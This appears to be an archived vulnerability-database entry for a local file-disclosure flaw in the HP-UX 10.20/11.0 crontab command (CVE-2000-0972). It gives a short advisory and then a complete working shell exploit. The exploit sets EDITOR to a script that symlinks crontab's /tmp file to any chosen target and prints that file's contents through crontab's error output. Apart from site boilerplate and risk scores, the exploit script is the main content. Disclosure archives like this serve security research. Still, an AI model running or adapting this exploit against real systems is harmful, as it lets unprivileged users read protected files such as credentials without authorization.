Lucene search
+L

HP-UX 10.20/11.0 - crontab '/tmp' File

🗓️ 20 Oct 2000 00:00:00Reported by Kyong-won ChoType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 30 Views

HP-UX crontab vulnerability allows users to read any file via symbolic links and shell spawning.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2000-0972
22 Jan 200105:00
cve
cvelist
Cvelist
CVE-2000-0972
22 Jan 200105:00
cvelist
exploitdb
Exploit DB
HP-UX 11.00/10.20 crontab - Overwrite Files
19 Nov 200000:00
exploitdb
nvd
NVD
CVE-2000-0972
19 Dec 200005:00
nvd
ptsecurity
Positive Technologies
PT-2000-1882 · Hewlett Packard · Hp-Ux
19 Dec 200000:00
ptsecurity
source: https://www.securityfocus.com/bid/1845/info

crontab is a binary in the cron package of the HP-UX cron implementation which allows a user to create a file of scheduled commands. A vulnerabiltiy in crontab exists that allows a user to read any file on an HP-UX system. crontab as implemented with HP-UX is a access controlled binary. Users are permitted to run crontab only if they have an access entry in the crontab.allow file.

To create a crontab, a user must execute the command "crontab -e." Executing this command launches the vi editor, creates a file in the /tmp directory with the ownership delegated to the user running the command. While the file exists in /tmp, the owner of the file may spawn a shell from vi and create a symbolic link to any file on the system. After exiting the spawned shell, then quitting vi, an error message will return the contents of the previously symbolically linked file to the standard output of the user.


#!/bin/sh
#
#  HP-UX 11.00 crontab
#
#  Kyong-won,Cho
#
#             [email protected]
#
#  Usage : ./crontab.sh <distfile>
#
#

if [ -z "$1" ]
then

echo "Usage : $0 <distfile>"
exit

fi

cat << _EOF_ > /tmp/crontab_exp
#!/bin/sh

ln -sf $1 \$1

_EOF_

chmod 755 /tmp/crontab_exp

EDITOR=/tmp/crontab_exp
export EDITOR

crontab -e 2> /tmp/crontab$$

grep -v "error on previous line" /tmp/crontab$$

rm -f /tmp/crontab_exp /tmp/crontab$$

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Aug 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 22.1
CVSS 3.15.5
EPSS0.01283
30